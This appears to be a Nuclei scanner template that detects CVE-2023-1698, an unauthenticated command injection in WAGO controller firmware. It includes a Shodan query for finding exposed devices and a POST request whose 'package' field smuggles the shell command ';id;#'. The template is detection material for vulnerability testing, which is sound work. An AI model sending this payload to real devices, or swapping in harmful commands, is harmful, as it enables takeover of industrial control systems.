id: CVE-2023-1698 info: name: WAGO - Remote Command Execution author: xianke severity: critical description: | In multiple products of WAGO, a vulnerability allows an unauthenticated, remote attacker to create new users and change the device configuration which can result in unintended behavior, Denial of Service, and full system compromise. remediation: | Apply the latest security patches and updates provided by the vendor to mitigate this vulnerability. reference: - https://onekey.com/blog/security-advisory-wago-unauthenticated-remote-command-execution/ - https://nvd.nist.gov/vuln/detail/CVE-2023-1698 - https://cert.vde.com/en/advisories/VDE-2023-007/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-1698 cwe-id: CWE-78 epss-score: 0.52862 epss-percentile: 0.97264 cpe: cpe:2.3:o:wago:compact_controller_100_firmware:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: wago product: compact_controller_100_firmware shodan-query: html:"/wbm/" html:"wago" tags: cve,cve2023,wago,rce http: - raw: - | POST /wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded {"package":";id;#"} matchers-condition: and matchers: - type: word part: body words: - '"license":' - '"name":' - 'uid=' - 'gid=' condition: and - type: status status: - 200 # digest: 4a0a0047304502206358a892f287555b207ca859c6da6218d24f25596fa7c96498523bd63e1f332d022100d950748bc44393c08de7c4ead6e6e9384e24fdcc7ee53e56e323047c3061cb89:922c64590222798bb761d5b6d8e72950